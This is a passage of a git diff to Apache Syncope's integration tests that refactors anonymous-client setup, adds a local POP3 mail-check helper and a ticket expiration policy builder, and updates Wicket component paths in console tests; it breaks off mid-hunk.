a/fit/core-reference/src/main/resources/log4j2.xml b/fit/core-reference/src/main/resources/log4j2.xml index cdd8cc39bad..6aab46ff578 100644 --- a/fit/core-reference/src/main/resources/log4j2.xml +++ b/fit/core-reference/src/main/resources/log4j2.xml @@ -20,11 +20,11 @@ under the License. - - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n + %d{HH:mm:ss.SSS} %notEmpty{[operation.id=%X{operation.id}] }%-5level %logger - %msg%n @@ -32,8 +32,8 @@ under the License. - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n @@ -44,8 +44,8 @@ under the License. - %d{HH:mm:ss.SSS} %-5level %logger - %msg%n @@ -56,8 +56,8 @@ under the License. - %d{HH:mm:ss.SSS} %-5level %msg%n @@ -156,6 +156,9 @@ under the License. + + + diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/AbstractITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/AbstractITCase.java index 511d0c1d5e7..a7237035deb 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/AbstractITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/AbstractITCase.java @@ -34,11 +34,17 @@ import java.util.List; import java.util.Locale; import java.util.Map; +import java.util.Optional; import java.util.Properties; import java.util.Set; import java.util.UUID; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicReference; +import javax.mail.Flags; +import javax.mail.Folder; +import javax.mail.Message; +import javax.mail.Session; +import javax.mail.Store; import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.Attribute; @@ -53,9 +59,11 @@ import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.mutable.Mutable; +import org.apache.commons.lang3.mutable.MutableObject; import org.apache.commons.lang3.tuple.Pair; import org.apache.cxf.jaxrs.client.WebClient; -import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; +import org.apache.syncope.client.lib.SyncopeAnonymousClient; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.common.keymaster.client.api.ConfParamOps; @@ -72,7 +80,9 @@ import org.apache.syncope.common.lib.policy.DefaultAccessPolicyConf; import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf; +import org.apache.syncope.common.lib.policy.DefaultTicketExpirationPolicyConf; import org.apache.syncope.common.lib.policy.PolicyTO; +import org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO; import org.apache.syncope.common.lib.request.AnyObjectCR; import org.apache.syncope.common.lib.request.AnyObjectUR; import org.apache.syncope.common.lib.request.AttrPatch; @@ -88,6 +98,7 @@ import org.apache.syncope.common.lib.to.NotificationTO; import org.apache.syncope.common.lib.to.OIDCRPClientAppTO; import org.apache.syncope.common.lib.to.ProvisioningResult; +import org.apache.syncope.common.lib.to.RealmTO; import org.apache.syncope.common.lib.to.ReportTO; import org.apache.syncope.common.lib.to.ResourceTO; import org.apache.syncope.common.lib.to.RoleTO; @@ -108,6 +119,7 @@ import org.apache.syncope.common.rest.api.batch.BatchPayloadParser; import org.apache.syncope.common.rest.api.batch.BatchResponseItem; import org.apache.syncope.common.rest.api.beans.AuditQuery; +import org.apache.syncope.common.rest.api.beans.RealmQuery; import org.apache.syncope.common.rest.api.service.AnyObjectService; import org.apache.syncope.common.rest.api.service.AnyTypeClassService; import org.apache.syncope.common.rest.api.service.AnyTypeService; @@ -135,7 +147,6 @@ import org.apache.syncope.common.rest.api.service.RelationshipTypeService; import org.apache.syncope.common.rest.api.service.RemediationService; import org.apache.syncope.common.rest.api.service.ReportService; -import org.apache.syncope.common.rest.api.service.ReportTemplateService; import org.apache.syncope.common.rest.api.service.ResourceService; import org.apache.syncope.common.rest.api.service.RoleService; import org.apache.syncope.common.rest.api.service.SAML2IdPEntityService; @@ -155,6 +166,7 @@ import org.apache.syncope.common.rest.api.service.wa.GoogleMfaAuthAccountService; import org.apache.syncope.common.rest.api.service.wa.GoogleMfaAuthTokenService; import org.apache.syncope.common.rest.api.service.wa.ImpersonationService; +import org.apache.syncope.common.rest.api.service.wa.MfaTrustStorageService; import org.apache.syncope.common.rest.api.service.wa.U2FRegistrationService; import org.apache.syncope.common.rest.api.service.wa.WAConfigService; import org.apache.syncope.common.rest.api.service.wa.WebAuthnRegistrationService; @@ -285,7 +297,7 @@ public void initialize(final ConfigurableApplicationContext ctx) { protected static SyncopeClient ADMIN_CLIENT; - protected static SyncopeClient ANONYMOUS_CLIENT; + protected static SyncopeAnonymousClient ANONYMOUS_CLIENT; protected static SyncopeService SYNCOPE_SERVICE; @@ -321,8 +333,6 @@ public void initialize(final ConfigurableApplicationContext ctx) { protected static AuditService AUDIT_SERVICE; - protected static ReportTemplateService REPORT_TEMPLATE_SERVICE; - protected static ReportService REPORT_SERVICE; protected static TaskService TASK_SERVICE; @@ -383,16 +393,22 @@ public void initialize(final ConfigurableApplicationContext ctx) { protected static U2FRegistrationService U2F_REGISTRATION_SERVICE; + protected static MfaTrustStorageService MFA_TRUST_STORAGE_SERVICE; + protected static WebAuthnRegistrationService WEBAUTHN_REGISTRATION_SERVICE; protected static ImpersonationService IMPERSONATION_SERVICE; + private static final String POP3_HOST = "localhost"; + + private static int POP3_PORT; + protected static boolean IS_FLOWABLE_ENABLED = false; - protected static boolean IS_ELASTICSEARCH_ENABLED = false; + protected static boolean IS_EXT_SEARCH_ENABLED = false; @BeforeAll - public static void securitySetup() { + public static void anonymousSetup() throws IOException { try (InputStream propStream = AbstractITCase.class.getResourceAsStream("/core.properties")) { Properties props = new Properties(); props.load(propStream); @@ -411,13 +427,42 @@ public static void securitySetup() { assertNotNull(JWS_KEY); assertNotNull(JWT_ISSUER); - ANONYMOUS_CLIENT = CLIENT_FACTORY.create(new AnonymousAuthenticationHandler(ANONYMOUS_UNAME, ANONYMOUS_KEY)); + ANONYMOUS_CLIENT = CLIENT_FACTORY.createAnonymous(ANONYMOUS_UNAME, ANONYMOUS_KEY); GOOGLE_MFA_AUTH_TOKEN_SERVICE = ANONYMOUS_CLIENT.getService(GoogleMfaAuthTokenService.class); GOOGLE_MFA_AUTH_ACCOUNT_SERVICE = ANONYMOUS_CLIENT.getService(GoogleMfaAuthAccountService.class); U2F_REGISTRATION_SERVICE = ANONYMOUS_CLIENT.getService(U2FRegistrationService.class); + MFA_TRUST_STORAGE_SERVICE = ANONYMOUS_CLIENT.getService(MfaTrustStorageService.class); WEBAUTHN_REGISTRATION_SERVICE = ANONYMOUS_CLIENT.getService(WebAuthnRegistrationService.class); IMPERSONATION_SERVICE = ANONYMOUS_CLIENT.getService(ImpersonationService.class); + + JsonNode beans = JSON_MAPPER.readTree( + (InputStream) WebClient.create( + StringUtils.substringBeforeLast(ADDRESS, "/") + "/actuator/beans", + ANONYMOUS_UNAME, + ANONYMOUS_KEY, + null). + accept(MediaType.APPLICATION_JSON).get().getEntity()); + + JsonNode uwfAdapter = beans.findValues("uwfAdapter").get(0); + IS_FLOWABLE_ENABLED = uwfAdapter.get("resource").asText().contains("Flowable"); + + JsonNode anySearchDAO = beans.findValues("anySearchDAO").get(0); + IS_EXT_SEARCH_ENABLED = anySearchDAO.get("type").asText().contains("Elasticsearch") + || anySearchDAO.get("type").asText().contains("OpenSearch"); + } + + @BeforeAll + public static void conf() { + Properties props = new Properties(); + try (InputStream propStream = AbstractITCase.class.getResourceAsStream("/test.properties")) { + props.load(propStream); + } catch (Exception e) { + LOG.error("Could not load /test.properties", e); + } + + POP3_PORT = Integer.parseInt(props.getProperty("testmail.pop3port")); + assertNotNull(POP3_PORT); } @BeforeAll @@ -449,7 +494,6 @@ public static void restSetup() { RESOURCE_SERVICE = ADMIN_CLIENT.getService(ResourceService.class); CONNECTOR_SERVICE = ADMIN_CLIENT.getService(ConnectorService.class); AUDIT_SERVICE = ADMIN_CLIENT.getService(AuditService.class); - REPORT_TEMPLATE_SERVICE = ADMIN_CLIENT.getService(ReportTemplateService.class); REPORT_SERVICE = ADMIN_CLIENT.getService(ReportService.class); TASK_SERVICE = ADMIN_CLIENT.getService(TaskService.class); RECONCILIATION_SERVICE = ADMIN_CLIENT.getService(ReconciliationService.class); @@ -479,19 +523,6 @@ public static void restSetup() { WA_CONFIG_SERVICE = ADMIN_CLIENT.getService(WAConfigService.class); } - @BeforeAll - public static void actuatorInfoSetup() throws IOException { - JsonNode beans = JSON_MAPPER.readTree( - (InputStream) WebClient.create(StringUtils.substringBeforeLast(ADDRESS, "/") + "/actuator/beans"). - accept(MediaType.APPLICATION_JSON).get().getEntity()); - - JsonNode uwfAdapter = beans.findValues("uwfAdapter").get(0); - IS_FLOWABLE_ENABLED = uwfAdapter.get("resource").asText().contains("Flowable"); - - JsonNode anySearchDAO = beans.findValues("anySearchDAO").get(0); - IS_ELASTICSEARCH_ENABLED = anySearchDAO.get("type").asText().contains("Elasticsearch"); - } - protected static String getUUIDString() { return UUID.randomUUID().toString().substring(0, 8); } @@ -941,6 +972,8 @@ protected static AttrReleasePolicyTO buildAttrReleasePolicyTO() { policy.setStatus(Boolean.TRUE); DefaultAttrReleasePolicyConf conf = new DefaultAttrReleasePolicyConf(); + conf.getReleaseAttrs().put("uid", "username"); + conf.getReleaseAttrs().put("cn", "fullname"); conf.getAllowedAttrs().addAll(List.of("cn", "givenName")); conf.getIncludeOnlyAttrs().add("cn"); @@ -952,17 +985,34 @@ protected static AttrReleasePolicyTO buildAttrReleasePolicyTO() { protected static AccessPolicyTO buildAccessPolicyTO() { AccessPolicyTO policy = new AccessPolicyTO(); policy.setName("Test Access policy"); - policy.setEnabled(true); DefaultAccessPolicyConf conf = new DefaultAccessPolicyConf(); - conf.getRequiredAttrs().add(new Attr.Builder("cn").values("admin", "Admin", "TheAdmin").build()); + conf.setEnabled(true); + conf.getRequiredAttrs().put("cn", "admin,Admin,TheAdmin"); + policy.setConf(conf); + + return policy; + } + + protected static TicketExpirationPolicyTO buildTicketExpirationPolicyTO() { + TicketExpirationPolicyTO policy = new TicketExpirationPolicyTO(); + policy.setName("Test Ticket Expiration policy"); + + DefaultTicketExpirationPolicyConf conf = new DefaultTicketExpirationPolicyConf(); + DefaultTicketExpirationPolicyConf.TGTConf tgtConf = new DefaultTicketExpirationPolicyConf.TGTConf(); + tgtConf.setMaxTimeToLiveInSeconds(110); + conf.setTgtConf(tgtConf); + DefaultTicketExpirationPolicyConf.STConf stConf = new DefaultTicketExpirationPolicyConf.STConf(); + stConf.setMaxTimeToLiveInSeconds(0); + stConf.setNumberOfUses(1); + conf.setStConf(stConf); policy.setConf(conf); return policy; } protected static List query(final AuditQuery query, final int maxWaitSeconds) { - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -983,6 +1033,49 @@ protected static List query(final AuditQuery query, final int maxWai return results; } + protected static Optional getRealm(final String fullPath) { + return REALM_SERVICE.search(new RealmQuery.Builder().base(fullPath).build()).getResult().stream(). + filter(realm -> fullPath.equals(realm.getFullPath())).findFirst(); + } + + private static boolean pop3(final String sender, final String subject, final String mailAddress) throws Exception { + boolean found = false; + try (Store store = Session.getDefaultInstance(System.getProperties()).getStore("pop3")) { + store.connect(POP3_HOST, POP3_PORT, mailAddress, mailAddress); + + Folder inbox = store.getFolder("INBOX"); + assertNotNull(inbox); + inbox.open(Folder.READ_WRITE); + + for (Message message : inbox.getMessages()) { + if (sender.equals(message.getFrom()[0].toString()) && subject.equals(message.getSubject())) { + found = true; + message.setFlag(Flags.Flag.DELETED, true); + } + } + + inbox.close(true); + } + return found; + } + + protected static void verifyMail( + final String sender, + final String subject, + final String mailAddress, + final int maxWaitSeconds) throws Exception { + + Mutable read = new MutableObject<>(false); + await().atMost(maxWaitSeconds, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS).until(() -> { + try { + read.setValue(pop3(sender, subject, mailAddress)); + return read.getValue(); + } catch (Exception e) { + return false; + } + }); + } + @Autowired protected ConfParamOps confParamOps; diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/AbstractUIITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/AbstractUIITCase.java index ca5499f7914..834d93e8a31 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/AbstractUIITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/AbstractUIITCase.java @@ -74,10 +74,10 @@ public abstract class AbstractUIITCase { protected static boolean IS_FLOWABLE_ENABLED = false; - protected static boolean IS_ELASTICSEARCH_ENABLED = false; - + protected static boolean IS_EXT_SEARCH_ENABLED = false; + @BeforeAll - public static void securitySetup() { + public static void anonymousSetup() throws IOException { try (InputStream propStream = AbstractITCase.class.getResourceAsStream("/core.properties")) { Properties props = new Properties(); props.load(propStream); @@ -90,19 +90,21 @@ public static void securitySetup() { assertNotNull(ANONYMOUS_UNAME); assertNotNull(ANONYMOUS_KEY); - } - @BeforeAll - public static void actuatorInfoSetup() throws IOException { JsonNode beans = JSON_MAPPER.readTree( - (InputStream) WebClient.create(StringUtils.substringBeforeLast(ADDRESS, "/") + "/actuator/beans"). + (InputStream) WebClient.create( + StringUtils.substringBeforeLast(ADDRESS, "/") + "/actuator/beans", + ANONYMOUS_UNAME, + ANONYMOUS_KEY, + null). accept(MediaType.APPLICATION_JSON).get().getEntity()); JsonNode uwfAdapter = beans.findValues("uwfAdapter").get(0); IS_FLOWABLE_ENABLED = uwfAdapter.get("resource").asText().contains("Flowable"); JsonNode anySearchDAO = beans.findValues("anySearchDAO").get(0); - IS_ELASTICSEARCH_ENABLED = anySearchDAO.get("type").asText().contains("Elasticsearch"); + IS_EXT_SEARCH_ENABLED = anySearchDAO.get("type").asText().contains("Elasticsearch") + || anySearchDAO.get("type").asText().contains("OpenSearch"); } protected static Component findComponentByProp( diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/OIDCClientDetector.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/OIDCClientDetector.java index fbedc4cdeb0..b9beac71ca6 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/OIDCClientDetector.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/OIDCClientDetector.java @@ -18,8 +18,6 @@ */ package org.apache.syncope.fit; -import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; -import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.common.rest.api.service.OIDCC4UIProviderService; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -34,12 +32,7 @@ public static boolean isOIDCClientAvailable() { synchronized (LOG) { if (ENABLED == null) { try { - new SyncopeClientFactoryBean(). - setAddress(AbstractITCase.ADDRESS). - setContentType(SyncopeClientFactoryBean.ContentType.JSON). - create(new AnonymousAuthenticationHandler( - AbstractITCase.ANONYMOUS_UNAME, AbstractITCase.ANONYMOUS_KEY)). - getService(OIDCC4UIProviderService.class).list(); + AbstractITCase.ANONYMOUS_CLIENT.getService(OIDCC4UIProviderService.class).list(); ENABLED = true; } catch (Exception e) { // ignore diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/AbstractConsoleITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/AbstractConsoleITCase.java index 11b2b64758e..dc598e4d17f 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/AbstractConsoleITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/AbstractConsoleITCase.java @@ -30,18 +30,21 @@ import java.util.Locale; import java.util.Properties; import java.util.Set; +import org.apache.syncope.client.console.AMConsoleContext; import org.apache.syncope.client.console.ConsoleProperties; -import org.apache.syncope.client.console.SyncopeAMConsoleContext; -import org.apache.syncope.client.console.SyncopeIdMConsoleContext; +import org.apache.syncope.client.console.FlowableConsoleContext; +import org.apache.syncope.client.console.IdMConsoleContext; +import org.apache.syncope.client.console.IdRepoConsoleContext; +import org.apache.syncope.client.console.OIDCC4UIConsoleContext; +import org.apache.syncope.client.console.SAML2SP4UIConsoleContext; import org.apache.syncope.client.console.SyncopeWebApplication; import org.apache.syncope.client.console.commons.IdRepoPolicyTabProvider; import org.apache.syncope.client.console.commons.PolicyTabProvider; -import org.apache.syncope.client.console.commons.PreviewUtils; import org.apache.syncope.client.console.init.ClassPathScanImplementationLookup; import org.apache.syncope.client.console.pages.Login; +import org.apache.syncope.client.console.rest.PolicyRestClient; import org.apache.syncope.client.console.topology.Topology; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; -import org.apache.syncope.client.ui.commons.MIMETypesLoader; import org.apache.syncope.common.keymaster.client.self.SelfKeymasterClientContext; import org.apache.syncope.common.keymaster.client.zookeeper.ZookeeperKeymasterClientContext; import org.apache.syncope.common.rest.api.service.SyncopeService; @@ -58,7 +61,13 @@ public abstract class AbstractConsoleITCase extends AbstractUIITCase { - @ImportAutoConfiguration(classes = { SelfKeymasterClientContext.class, ZookeeperKeymasterClientContext.class }) + @ImportAutoConfiguration(classes = { + SelfKeymasterClientContext.class, + ZookeeperKeymasterClientContext.class, + IdRepoConsoleContext.class, + FlowableConsoleContext.class, + SAML2SP4UIConsoleContext.class, + OIDCC4UIConsoleContext.class }) @Configuration(proxyBeanMethods = false) public static class SyncopeConsoleWebApplicationTestConfig { @@ -104,20 +113,8 @@ public ClassPathScanImplementationLookup classPathScanImplementationLookup() { } @Bean - public MIMETypesLoader mimeTypesLoader() { - MIMETypesLoader mimeTypesLoader = new MIMETypesLoader(); - mimeTypesLoader.load(); - return mimeTypesLoader; - } - - @Bean - public PreviewUtils previewUtils() { - return new PreviewUtils(); - } - - @Bean - public PolicyTabProvider idRepoPolicyTabProvider() { - return new IdRepoPolicyTabProvider(); + public PolicyTabProvider idRepoPolicyTabProvider(final PolicyRestClient policyRestClient) { + return new IdRepoPolicyTabProvider(policyRestClient); } @Bean @@ -135,8 +132,8 @@ public static void setUp() { ctx.register(SyncopeConsoleWebApplicationTestConfig.class); ctx.register(SyncopeWebApplication.class); - ctx.register(SyncopeAMConsoleContext.class); - ctx.register(SyncopeIdMConsoleContext.class); + ctx.register(AMConsoleContext.class); + ctx.register(IdMConsoleContext.class); String springActiveProfiles = null; try (InputStream propStream = AbstractConsoleITCase.class.getResourceAsStream("/test.properties")) { diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/AnyObjectsITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/AnyObjectsITCase.java index a03979406dd..b10afdd8eec 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/AnyObjectsITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/AnyObjectsITCase.java @@ -20,8 +20,8 @@ import static org.junit.jupiter.api.Assertions.assertNotNull; -import org.apache.syncope.client.console.wicket.markup.html.form.IndicatingOnConfirmAjaxLink; import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.markup.html.form.IndicatingOnConfirmAjaxLink; import org.apache.wicket.Component; import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.markup.html.form.TextField; diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/BatchesITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/BatchesITCase.java index 05d5f43420e..20ac76a4b67 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/BatchesITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/BatchesITCase.java @@ -83,31 +83,31 @@ public void userResource() { + ":outer:container:content:togglePanelContainer:container:actions:actions:actionRepeater:4:" + "action:action"); - TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "firstLevelContainer:first:container:content:searchContainer:resultTable:tablePanel:groupForm:" + "checkgroup:dataTable", WebMarkupContainer.class); component = findComponentByProp("resource", - TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "firstLevelContainer:first:container:content:searchContainer:resultTable:tablePanel:groupForm:" + "checkgroup:dataTable", "resource-csv"); assertNotNull(component); FormTester formTester = TESTER.newFormTester( - TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:firstLevelContainer:" + TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:firstLevelContainer:" + "first:container:content:searchContainer:resultTable:tablePanel:groupForm"); assertNotNull(formTester); formTester.select("checkgroup", 0); - TESTER.executeAjaxEvent(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.executeAjaxEvent(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "firstLevelContainer:first:container:content:searchContainer:resultTable:tablePanel:batchLink", Constants.ON_CLICK); - TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "secondLevelContainer:second:container", WebMarkupContainer.class); - assertNotNull(findComponentByProp("resource", TAB_PANEL + "outerObjectsRepeater:2:outer:" + assertNotNull(findComponentByProp("resource", TAB_PANEL + "outerObjectsRepeater:0:outer:" + "form:content:status:secondLevelContainer:second:container", "resource-csv")); } @@ -137,12 +137,12 @@ private static void userStatusBatch(final int index, final String resource) { + ":outer:container:content:togglePanelContainer:container:actions:actions:actionRepeater:3:" + "action:action"); - TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "firstLevelContainer:first:container:content:searchContainer:resultTable:tablePanel:groupForm:" + "checkgroup:dataTable", WebMarkupContainer.class); component = findComponentByProp("resource", - TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:firstLevelContainer:first:container:" + TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:firstLevelContainer:first:container:" + "content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", resource); component = TESTER.getComponentFromLastRenderedPage(component.getPageRelativePath() @@ -151,37 +151,37 @@ private static void userStatusBatch(final int index, final String resource) { assertEquals(resource, StatusBean.class.cast(component.getDefaultModelObject()).getResource()); FormTester formTester = TESTER.newFormTester( - TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:firstLevelContainer:" + TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:firstLevelContainer:" + "first:container:content:searchContainer:resultTable:tablePanel:groupForm"); assertNotNull(formTester); formTester.select("checkgroup", index); - TESTER.executeAjaxEvent(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.executeAjaxEvent(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "firstLevelContainer:first:container:content:searchContainer:resultTable:tablePanel:batchLink", Constants.ON_CLICK); - TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "secondLevelContainer:second:container", WebMarkupContainer.class); // suspend link TESTER.executeAjaxEvent(TAB_PANEL - + "outerObjectsRepeater:2:outer:form:content:status:secondLevelContainer:" + + "outerObjectsRepeater:0:outer:form:content:status:secondLevelContainer:" + "second:container:actions:actionRepeater:0:action:action", Constants.ON_CLICK); assertSuccessMessage(); TESTER.cleanupFeedbackMessages(); - TESTER.assertLabel(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.assertLabel(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "secondLevelContainer:second:container:selectedObjects:body:rows:1:cells:4:cell", "SUCCESS"); TESTER.executeAjaxEvent(TAB_PANEL - + "outerObjectsRepeater:2:outer:form:content:status:secondLevelContainer:back", + + "outerObjectsRepeater:0:outer:form:content:status:secondLevelContainer:back", Constants.ON_CLICK); component = findComponentByProp("resource", - TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:firstLevelContainer:first:container:" + TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:firstLevelContainer:first:container:" + "content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", resource); component = TESTER.getComponentFromLastRenderedPage(component.getPageRelativePath() @@ -204,42 +204,42 @@ private static void userStatusBatch(final int index, final String resource) { + ":outer:container:content:togglePanelContainer:container:actions:actions:actionRepeater:3:" + "action:action"); - TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "firstLevelContainer:first:container:content:searchContainer:resultTable:tablePanel:groupForm:" + "checkgroup:dataTable", WebMarkupContainer.class); formTester = TESTER.newFormTester( - TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:firstLevelContainer:" + TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:firstLevelContainer:" + "first:container:content:searchContainer:resultTable:tablePanel:groupForm"); assertNotNull(formTester); formTester.select("checkgroup", index); - TESTER.executeAjaxEvent(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.executeAjaxEvent(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "firstLevelContainer:first:container:content:searchContainer:resultTable:tablePanel:batchLink", Constants.ON_CLICK); - TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.assertComponent(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "secondLevelContainer:second:container", WebMarkupContainer.class); // suspend link TESTER.executeAjaxEvent(TAB_PANEL - + "outerObjectsRepeater:2:outer:form:content:status:secondLevelContainer:" + + "outerObjectsRepeater:0:outer:form:content:status:secondLevelContainer:" + "second:container:actions:actionRepeater:1:action:action", Constants.ON_CLICK); assertSuccessMessage(); TESTER.cleanupFeedbackMessages(); - TESTER.assertLabel(TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:" + TESTER.assertLabel(TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:" + "secondLevelContainer:second:container:selectedObjects:body:rows:1:cells:4:cell", "SUCCESS"); TESTER.executeAjaxEvent(TAB_PANEL - + "outerObjectsRepeater:2:outer:form:content:status:secondLevelContainer:back", + + "outerObjectsRepeater:0:outer:form:content:status:secondLevelContainer:back", Constants.ON_CLICK); component = findComponentByProp("resource", - TAB_PANEL + "outerObjectsRepeater:2:outer:form:content:status:firstLevelContainer:first:container:" + TAB_PANEL + "outerObjectsRepeater:0:outer:form:content:status:firstLevelContainer:first:container:" + "content:searchContainer:resultTable:tablePanel:groupForm:checkgroup:dataTable", resource); component = TESTER.getComponentFromLastRenderedPage(component.getPageRelativePath() diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/GroupsITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/GroupsITCase.java index 69122a42a9a..5f037b4967d 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/GroupsITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/GroupsITCase.java @@ -22,8 +22,8 @@ import static org.junit.jupiter.api.Assertions.assertNotNull; import org.apache.commons.lang3.StringUtils; -import org.apache.syncope.client.console.wicket.markup.html.form.IndicatingOnConfirmAjaxLink; import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.markup.html.form.IndicatingOnConfirmAjaxLink; import org.apache.wicket.Component; import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.markup.html.form.TextField; diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/LinkedAccountsITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/LinkedAccountsITCase.java index 7e3f3e7421d..1bce33f9705 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/console/LinkedAccountsITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/console/LinkedAccountsITCase.java @@ -82,7 +82,7 @@ public void login() { doLogin(ADMIN_UNAME, ADMIN_PWD); // create user with linked account - String email = "linkedAccount" + RandomStringUtils.randomNumeric(4) + "@syncope.apache.org"; + String email = "linkedAccount" + RandomStringUtils.insecure().nextNumeric(4) + "@syncope.apache.org"; UserCR userCR = UserITCase.getSample(email); String connObjectKeyValue = "uid=" + userCR.getUsername() + ",ou=People,o=isp"; @@ -124,12 +124,14 @@ public void createLinkedAccountAndMergeWithUser() { TESTER.clickLink(TAB_PANEL + "outerObjectsRepeater:1:outer:container:content:togglePanelContainer:container:" + "actions:actions:actionRepeater:6:action:action"); // Search for user - TESTER.executeAjaxEvent(USER_SEARCH_FORM + "content:panelPlus:add", Constants.ON_CLICK); - FormTester formTester = TESTER.newFormTester(USER_SEARCH_FORM); + TESTER.executeAjaxEvent(USER_SEARCH_FORM.replace(":2:", ":0:") + "content:panelPlus:add", Constants.ON_CLICK); + FormTester formTester = TESTER.newFormTester(USER_SEARCH_FORM.replace(":2:", ":0:")); - DropDownChoice type = (DropDownChoice) TESTER.getComponentFromLastRenderedPage(USER_SEARCH_FORM + DropDownChoice type = (DropDownChoice) TESTER.getComponentFromLastRenderedPage( + USER_SEARCH_FORM.replace(":2:", ":0:") + "content:view:0:panel:container:type:dropDownChoiceField"); - TESTER.executeAjaxEvent(USER_SEARCH_FORM + "content:view:0:panel:container:type:dropDownChoiceField", + TESTER.executeAjaxEvent(USER_SEARCH_FORM.replace(":2:", ":0:") + + "content:view:0:panel:container:type:dropDownChoiceField", Constants.ON_CHANGE); type.setModelValue(new String[] { "ATTRIBUTE" }); type.setDefaultModelObject(SearchClause.Type.ATTRIBUTE); @@ -149,32 +151,33 @@ public void 